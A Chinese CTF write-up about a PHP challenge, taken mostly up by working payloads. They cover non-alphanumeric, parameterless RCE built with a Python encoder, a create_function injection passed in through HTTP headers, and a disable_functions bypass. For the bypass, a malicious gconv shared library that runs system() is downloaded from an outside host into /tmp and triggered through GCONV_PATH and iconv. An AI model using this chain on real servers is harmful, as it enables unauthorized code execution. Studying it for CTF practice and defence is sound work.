做题做到这道题,又学到了新的无参rce利用的技巧以及绕过disable_fucntion的技巧
无参rce
无字母数字rce
iconv绕过disable_function
可变参数
数组表示字符串
源码
|\$|\?|\^|&|\|/ixm',$code)){
die('');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
} else {
highlight_file(__FILE__);
var_dump(ini_get("disable_functions"));
}
?>
很明显看出是无字母数字无参rce,并且通过数组来表示字符串
构造脚本
def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)
disable_function过滤了十分多的函数,可用函数如下
strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders
能进行代码执行的函数有create_function,preg_match,preg_replace,call_user_func
我们这里选用create_function
因为无参的限制,我们只能通过getallheaders传入一个字符串
这时候我们可用通过unserialize和可变参数来传入多个参数
可变参数举例
通过前面的构造脚本来构造payload
create_function(...unserialize(getallheaders()))
[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));
http heades 传入一个序列化的参数数组
a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}
成功代码执行
通过php原生类DirectoryIterator来读取目录,发现根目录下有flag以及readflag,flag我们没有读取的权限,所以通过执行readflag来获取flag
a=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
现在我们考虑如何绕过disable_function进行命令执行
我们这里使用iconv来绕过disable_function
因为iconv被禁,所以我们会通过php伪协议中的过滤器来触发
使用GCONV_PATH与iconv进行bypass disable_functions_lesion__的博客-CSDN博客
payload.c
#include
#include
void gconv() {}
void gconv_init() {
puts("pwned");
system("/readflag > /tmp/ki1ro");
exit(0);
}
生成so文件
gcc -shared -fPIC payload.c -o payload.so
gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
写文件使用php原生类SplFileObject
PHP: SplFileObject - Manual
通过远程文件包含来写入文件
写入payload.so
a=$url="http://xxx.xxx.xxx.xxx/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
写入gconv-modules
a=$url="http://xxx.xxx.xxx.xxx/gconv-modules";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);
触发iconv_open,将readflag的执行结果输入到ki1ro文件中
a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
读取文件获取flag
a=show_source("/tmp/ki1ro")